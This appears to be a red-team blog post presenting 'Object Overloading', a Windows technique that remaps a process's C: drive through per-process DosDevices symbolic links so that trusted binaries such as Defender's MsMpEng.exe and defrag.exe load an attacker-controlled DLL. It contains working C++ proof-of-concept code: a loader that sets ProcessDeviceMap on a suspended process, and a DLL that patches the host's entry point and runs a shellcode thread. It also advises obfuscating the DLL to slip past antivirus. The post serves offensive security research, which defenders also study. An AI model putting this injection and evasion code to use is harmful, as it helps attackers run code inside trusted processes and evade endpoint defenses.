Object Overloading: A Novel Approach to Sneaking Malicious DLLs into Windows Processes
Using an OS binary to carry out our bidding has been a tactic employed by Red Teamers for years. This eventually led to us coining the term LOLBIN. This tactic is typically used as a way of flying under the radar of EDR solutions or to bypass application whitelisting by surrounding our code in the trust of a signed, verified, and usually OS bundled process.
While reviewing potential options for wrapping our nefarious activities in the comfort of a trusted process, I wanted to look at available options for loading our code into a standard Windows process. In this post we are going to look at one such technique that I thought was cool while playing around with the Windows Object Manager, and which should allow us to load an arbitrary DLL of our creation into a Windows process during initial execution, something that I've been calling "Object Overloading" for reasons which will hopefully become apparent in this post.
Where It All Begins: The Object Manager
When understanding how Object Overloading works, we need to dive into the subsystem responsible for creating, deleting, linking, and protecting objects within the Windows OS. I of course refer to the infamous Object Manager.
To follow along with the walkthrough in this post, I recommend using WinObj, which you can grab from Microsoft here.
A good introduction to the concept of the Object Manager is to look at how the C:
drive is exposed by the OS. If we search for this object in WinObj, we find a reference within the directory \Global??
:
The first thing to notice here that the C:
object is actually referencing \Device\HarddiskVolume3
(the actual volume may vary on your system). This introduces the first concept that we need to understand for later in the post, Object Manager Symbolic Links. A symbolic link in the Object Manager is conceptually the same as the type of symbolic link you would encounter on a filesystem, which is a reference to another object (or another symbolic link) that is traversed when resolving the true destination object.
For example, if we head to PowerShell and use the cmdlet get-content C:\test\test.txt
, what is actually happening is that the file path is eventually being translated by the Windows kernel to \Device\HarddiskVolume3\test\test.txt
. You can see that this is the case by referencing the object directly with:
[System.IO.File]::OpenRead("\??\HarddiskVolume3\test\test.txt")
Creating Symbolic Links
So how can we go about creating our own symbolic links within the Object Manager? Well as you might expect, we are somewhat restricted as to just how and where we can create them. Generally, a user has permission to create new objects in a few places, including locations such as:
- \RPC Control
- \Sessions\0\DosDevices\00000000-[LUID]
Another thing to understand is that symbolic links created by a process only exist for as long as a handle to it exists. For example, let's use James Forshaw’s awesome toolkit NtObjectManager to demonstrate this by creating a new symbolic link:
$h = New-NtSymbolicLink -Access GenericAll -Path "\??\test" -TargetPath "\??\wibble"
At this point we can see the symbolic link has created in WinObj:
However, if we close the handle to our new symbolic link using $h.Close()
, we see that the symbolic link quickly disappears.
So what else can we do with symbolic links? How about we assign a new drive letter to demonstrate our newly understood powers?
$h = New-NtSymbolicLink -Access GenericAll -Path "\??\p:" -TargetPath "\Device\HardDiskVolume3"
Even better, we can create a symbolic link to reference a directory on the HarddiskVolume
:
mkdir C:\test
echo hi > C:\test\test.txt
$h = New-NtSymbolicLink -Access GenericAll -Path "\??\p:" -TargetPath "\Device\HarddiskVolume3\test"
We see now is that the p:
drive maps to the test
directory rather than the root of HardDiskVolume3
And remember that we can chain our symbolic links, so doing something like this is also perfectly valid:
mkdir C:\test2
echo hi > C:\test2\test.txt
$h = New-NtSymbolicLink -Access GenericAll -Path "\??\p:" -TargetPath "\??\C:\test2"
DosDevices
Another concept that we'll need to understand for later is just what that ??
marker at the beginning of our object path means. One of the best overviews of this prefix comes from @itm4nhere and is well worth a read for a deep dive into the fun of DosDevices. But as a quick note for the purpose of this post, when we refer to ??
, we actually refer to a different place depending on the user executing.
If we are running as our regular user, you'll find that ??
refers to a directory such as:
If we reference this prefix with an elevated process token, we again see that the path differs:
But when we use the prefix as a SYSTEM user, we get something completely different:
This isolation is what keeps things like mounted network drives separate for each user. By giving each user session a different area within the Object Manager to create objects, along with appropriate ACLs, we avoid one user from accessing objects within other user sessions.
But didn't we show that the C:
symbolic link lived in \GLOBAL??
. So how is it that we can access this as our own user when we see that our path is \Sessions\0\DosDevices\00000000-LUID
? Well, this is due to the way that the Object Manager ultimately falls back to a path of \GLOBAL??
if it is unable to find an object in our own path.
Of course, this also means that we can overload existing objects from \GLOBAL??
by creating an object in our own path with the same name, for example below we can the C:
drive being overridden to point to the path \Device\HardDiskVolume3\test
:
And then when we close the handle, we see everything returns to normal:
Per Process DosDevices
Now, while we can overload existing objects in the object manager for our user's session, doing this for all processes running as our current user would certainly cause a few issues. Thankfully for us, it is actually possible to do this on a per-process basis.
If we take a look at the ntdll
call NtSetInformationProcess
, deep in the SDK we find an option of ProcessDeviceMap
which is used to assign a new DosDevices
object directory for a process (there is a brilliant blog post from James Forshaw showing this option being used to exploit a TrueCrypt vulnerability here).
Let's put together a quick POC to see this API call in action:
#include <iostream>
#include <windows.h>
#include <winternl.h>
#define SYMBOLIC_LINK_ALL_ACCESS 0xF0001
#define DIRECTORY_ALL_ACCESS 0xF000F
#define ProcessDeviceMap 23
typedef NTSYSAPI NTSTATUS (*_NtSetInformationProcess)(HANDLE ProcessHandle, PROCESS_INFORMATION_CLASS ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength);
typedef NTSYSAPI VOID (*_RtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);
typedef NTSYSAPI NTSTATUS (*_NtCreateSymbolicLinkObject)(PHANDLE pHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PUNICODE_STRING DestinationName);
typedef NTSYSAPI NTSTATUS (*_NtCreateDirectoryObject)(PHANDLE DirectoryHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes);
typedef NTSYSAPI NTSTATUS (*_NtOpenDirectoryObject)(PHANDLE DirectoryObjectHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes);
_RtlInitUnicodeString pRtlInitUnicodeString;
_NtCreateDirectoryObject pNtCreateDirectoryObject;
_NtSetInformationProcess pNtSetInformationProcess;
_NtCreateSymbolicLinkObject pNtCreateSymbolicLinkObject;
_NtOpenDirectoryObject pNtOpenDirectoryObject;
void loadAPIs(void) {
pRtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(LoadLibraryA("ntdll.dll"), "RtlInitUnicodeString");
pNtCreateDirectoryObject = (_NtCreateDirectoryObject)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtCreateDirectoryObject");
pNtSetInformationProcess = (_NtSetInformationProcess)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtSetInformationProcess");
pNtCreateSymbolicLinkObject = (_NtCreateSymbolicLinkObject)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtCreateSymbolicLinkObject");
pNtOpenDirectoryObject = (_NtOpenDirectoryObject)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtOpenDirectoryObject");
if (pRtlInitUnicodeString == NULL ||
pNtCreateDirectoryObject == NULL ||
pNtSetInformationProcess == NULL ||
pNtCreateSymbolicLinkObject == NULL ||
pNtOpenDirectoryObject == NULL) {
printf("[!] Could not load all API's\n");
exit(1);
}
}
BOOL directoryExists(const char* szPath) {
DWORD dwAttrib = GetFileAttributesA(szPath);
return (dwAttrib != INVALID_FILE_ATTRIBUTES &&
(dwAttrib & FILE_ATTRIBUTE_DIRECTORY));
}
int main(int argc, char** argv)
{
OBJECT_ATTRIBUTES objAttrDir;
UNICODE_STRING objName;
HANDLE dirHandle;
HANDLE symlinkHandle;
HANDLE targetProc;
NTSTATUS status;
OBJECT_ATTRIBUTES objAttrLink;
UNICODE_STRING name;
UNICODE_STRING target;
DWORD pid;
if (argc != 2) {
printf("Usage: %s PID\n", argv[1]);
return 2;
}
pid = atoi(argv[1]);
loadAPIs();
printf("[*] Opening process pid %d\n", pid);
targetProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (targetProc == INVALID_HANDLE_VALUE) {
printf("[!] Error opening process handle\n");
return 1;
}
printf("[*] Process opened, now creating object directory \\??\\wibble\n");
pRtlInitUnicodeString(&objName, L"\\??\\wibble");
InitializeObjectAttributes(&objAttrDir, &objName, OBJ_CASE_INSENSITIVE, NULL, NULL);
status = pNtCreateDirectoryObject(&dirHandle, DIRECTORY_ALL_ACCESS, &objAttrDir);
if (status != 0) {
printf("[!] Error creating Object directory.\n");
return 1;
}
printf("[*] Object directory created, now setting process ProcessDeviceMap to \\??\\wibble\n");
status = pNtSetInformationProcess(targetProc, (PROCESS_INFORMATION_CLASS)ProcessDeviceMap, &dirHandle, sizeof(dirHandle));
if (status != 0) {
printf("[!] Error setting ProcessDeviceMap\n");
return 2;
}
// NOTE: This is hardcoded to HardDiskVolume3... update to the volume on your system for this to work (or to something like '\Global??\C:')
printf("[*] Done, finally linking C: to \\Device\\HardDiskVolume3\\test\n");
if (!directoryExists("C:\\test")) {
printf("[!] Error: Directory C:\\test does not exist for us to target\n");
return 5;
}
pRtlInitUnicodeString(&name, L"C:");
InitializeObjectAttributes(&objAttrLink, &name, OBJ_CASE_INSENSITIVE, dirHandle, NULL);
pRtlInitUnicodeString(&target, L"\\Device\\HardDiskVolume3\\test");
status = pNtCreateSymbolicLinkObject(&symlinkHandle, SYMBOLIC_LINK_ALL_ACCESS, &objAttrLink, &target);
if (status != 0) {
printf("[!] Error creating symbolic link\n");
return 3;
}
printf("[*] All Done, Hit Enter To Remove Symlink\n");
getchar();
CloseHandle(symlinkHandle);
CloseHandle(dirHandle);
printf("[*] Returning ProcessDeviceMap to \\??\n");
pRtlInitUnicodeString(&objName, L"\\??");
InitializeObjectAttributes(&objAttrDir, &objName, OBJ_CASE_INSENSITIVE, NULL, NULL);
status = pNtOpenDirectoryObject(&dirHandle, DIRECTORY_ALL_ACCESS, &objAttrDir);
if (status != 0) {
printf("[!] Error creating Object directory.\n");
return 1;
}
status = pNtSetInformationProcess(targetProc, (PROCESS_INFORMATION_CLASS)ProcessDeviceMap, &dirHandle, sizeof(dirHandle));
if (status != 0) {
printf("[!] Error setting ProcessDeviceMap\n");
return 2;
}
return 0;
}
Once we have compiled this, we launch a victim cmd.exe
session. We first need to change our current directory to C:\
to avoid cmd.exe
from doing something strange, and then once we run our POC targeting the PID of our victim process, we can see that it instantly
has a different view of the C:
drive to other processes running alongside:
Using Object Overloading For DLL Hijacking
With our knowledge of how we can adjust a process's outlook of objects on the OS, how can we use this to load arbitrary code into a process? Well the obvious way would be to spawn a process, and have it load a DLL that we control.
For our first demonstration, let's showboat a little by targeting something like Defender. The first thing that we are going to want to do is to find a DLL that is loaded by the process upon starting. Now this needs to be the first DLL actually loaded from disk rather than a section in KnownDlls
, which in the case of Defender, is MSASN1.dll
:
As we're hijacking a DLL, usually we would need to implement the same imports as MSASN1.dll
or face a STATUS_INVALID_IMAGE_FORMAT
error. However in this case, MSASN1.dll
is delay loaded from wintrust.dll
, which is stored in KnownDLLs
:
This means that our rogue DLL isn't loaded until the first function is called, at which point the application already has its DLLs loaded from KnownDLLs
. Ironically, this makes life easier for us with this initial example as the loader will just be using LoadLibrary
and GetProcAddress
, meaning we don't need to stub out all of MSASN1.dll
's exports.
To start let's create a new directory at C:\test\Windows\System32
and copy over the existing MSASN1.dll
for now.
Next, we are going to craft our loader application, which will set the ProcessDeviceMap
for Defender upon launch. For this proof of concept, we'll code this in C++, but there is no reason this can't be ported over to .NET or a VBA macro. To avoid Defender running off before we've had a chance to hijack out the C:
symbolic link, we will start the process with a suspended thread:
CreateProcessA(NULL, (LPSTR)"C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.2111.5-0\\MsMpEng.exe", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
Once we have the process created but with its initial thread suspended, we'll switch out the C:
symbolic link using NtSetInformationProcess
:
status = pNtSetInformationProcess(pi.hProcess, ProcessDeviceMap, &dirHandle, sizeof(dirHandle));
if (status != 0) {
printf("[!] Error setting ProcessDeviceMap\n");
return 2;
}
And then finally we just resume the process main thread:
ResumeThread(pi.hThread);
And as we'll see, our DLL is loaded just fine from our mock Windows directory:
Now the issue becomes what to do once we've loaded our DLL into the process? What about if our payload later decides to load other DLLs dynamically, or even files from the filesystem in the case of post-exploitation? Well again this is where the temporary nature of our symbolic link comes into play, if we just close the handle after our DLL has been loaded, any further attempts to interact with C:
are going to fall back to \GLOBAL??
, resetting everything back to normal:
CloseHandle(symlinkHandle);
The final piece of the puzzle is how to keep the main thread stable enough to allow our injected DLL code to run. There are several ways to do this, but for this post let's reference Nick Landers' work on this very subject. In this case, our DLL is going to be loaded during initialization of the process. To keep things simple, let's just patch out the entry address with a jmp
to some benign code, which will be enough to stop the main thread from crashing:
#include <Windows.h>
unsigned char shellcode[] = { 0xeb, 0xfe };
BYTE hook[] = { 0x48, 0xb8, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0xff, 0xe0 };
typedef void (*run)(void);
DWORD threadStart(LPVOID) {
run runner = (run)&shellcode;
runner();
return 1;
}
void sleepForever() {
while (true) {
Sleep(60000);
}
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
HANDLE event;
PIMAGE_DOS_HEADER dosHeader;
PIMAGE_NT_HEADERS32 ntHeader;
PBYTE entryPoint;
PBYTE baseAddress;
DWORD oldProt;
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
event = CreateEvent(NULL, TRUE, FALSE, TEXT("wibbleevent"));
// Tell our loader that we have started so that it can remove the symbolic link
SetEvent(event);
MessageBoxA(NULL, "DLL LOADED", "LOADED DLL", MB_OK);
// Kick off our shellcode thread
VirtualProtect(shellcode, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &oldProt);
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)threadStart, NULL, 0, NULL);
// Get the base address of the hosting application
baseAddress = (PBYTE)GetModuleHandleA("MsMpEng.exe");
// Find the start address from the PE headers
dosHeader = (PIMAGE_DOS_HEADER)baseAddress;
ntHeader = (PIMAGE_NT_HEADERS32)(baseAddress + dosHeader->e_lfanew);
entryPoint = baseAddress + ntHeader->OptionalHeader.AddressOfEntryPoint;
// Copy over the hook
VirtualProtect(entryPoint, sizeof(hook), PAGE_READWRITE, &oldProt);
memcpy(entryPoint, hook, sizeof(hook));
*(ULONG64*)((PBYTE)entryPoint + 2) = (ULONG64)sleepForever;
VirtualProtect(entryPoint, sizeof(hook), oldProt, &oldProt);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Once the DLL is compiled, we drop this into our C:\test\windows\system32\
directory. And once we execute our loader, we'll see that we end up with our shellcode executing within the target process.
So it's about this point where you could be thinking… "yes, but you could do that with SetDllDirectory
". And of course you are right, as the MSASN1.DLL
isn't in the same directory as the executable, we can just shortcut this with:
BOOL ret = SetDllDirectoryA("C:\\test\\Windows\\System32");
CreateProcess(...);
But what about if we're dealing with a target application which is located along with DLLs in the same directory, such as one of the many applications in System32
? Let's take a look.
Once More with Feeling!
OK, so with Defender we were dealing with a delay loaded DLL outside of the search path. But what about if we want to force load our DLL into something that lives in System32
? Well as we are mocking the C:
drive, we can do this.
Let's take another random Windows OS binary from the System32
directory, such as defrag.exe
. If we look at the imported libraries, we see that all are present in KnownDLLs
except for sxshared.dll
:
This means that we can hijack sxshared.dll
, but as this is being initialised by the loader, we're going to have to mock out the exported functions. If we use a tool such as SharpDllProxy
from @flangvik, we can generate a nice set of forwarded exports to throw into our DLL:
These are just exports forwarded to the original DLL, but at this stage, we won't be continuing with the execution after the import happens anyway, so choose your method as required.
Once we have our DLL ready, the process is exactly the same as above: we kick off the defrag.exe
process with a suspended main thread, overload the C:
drive symbolic link, and force the loading of our DLL. Let's see this in action:
If you want to see the source in its entirety, a Visual Studio project containing the proof of concept can be found here.
Network Load of DLLs
OK, so we now know how to load our DLLs into processes, but where do the DLLs that we want to load need to be stored? Well as we are just playing with symbolic links at this point, there is nothing stopping us from loading the DLL from across a network. I'll comment on this more in an upcoming post, but for now we can see this in action by pointing your symbolic link to:
\Device\LanmanRedirector\networkserver\shared
Now there are caveats, in that if Guest access is denied (which it is on Windows 10/Server 2019 by default), then we would need to set up the share with a valid username/password access to avoid an error, but if this doesn't bother you, you can go ahead and pull the DLL over the network:
Technique Considerations
As with all techniques, there are trade-offs you need to consider before deciding if it is suitable for an environment. And this technique is no different.
First and foremost, our DLL must reside on disk. This means that rather than injecting via calls like WriteProcessMemory
, the DLL we want to load into the OS process needs to risk being scanned by AV when being written, so make sure you're using your best obfuscation techniques.
Second, if the target process has several DLLs that aren't present in KnownDLLs
, you need to accommodate them all. This means choosing your target based on its imports is probably wise.
Finally, depending on the technique used, analysis of the process will either show the DLL path as the original C:\windows\system32
path or our fake path. For example, if a tool uses NtQueryVirtualMemory
such as ProcessHacker or ProcessExplorer, then the fake path will be returned:
If, however, the tool uses EnumProcessModules
, then the original DLL path will be shown such as with WinDBG:
Thanks, Prior Work, and References
As always, this post wouldn't be possible without the prior work of researchers that came before it. A huge thanks to @tiraniddo for all of his knowledge sharing on everything Windows related, but specifically in this case on covering the Object Manager in so much detail, and for his earlier blog post that showed the possibilities of ProcessDeviceMap
.
Also thanks to @itm4n for his work on the PPL bypass writeup, and for giving an awesome explanation of how DosDevices works.
And finally to @monoxgas for his work documenting and coding up proof of concepts' of DLL hijacking beyond "place DLL here and win".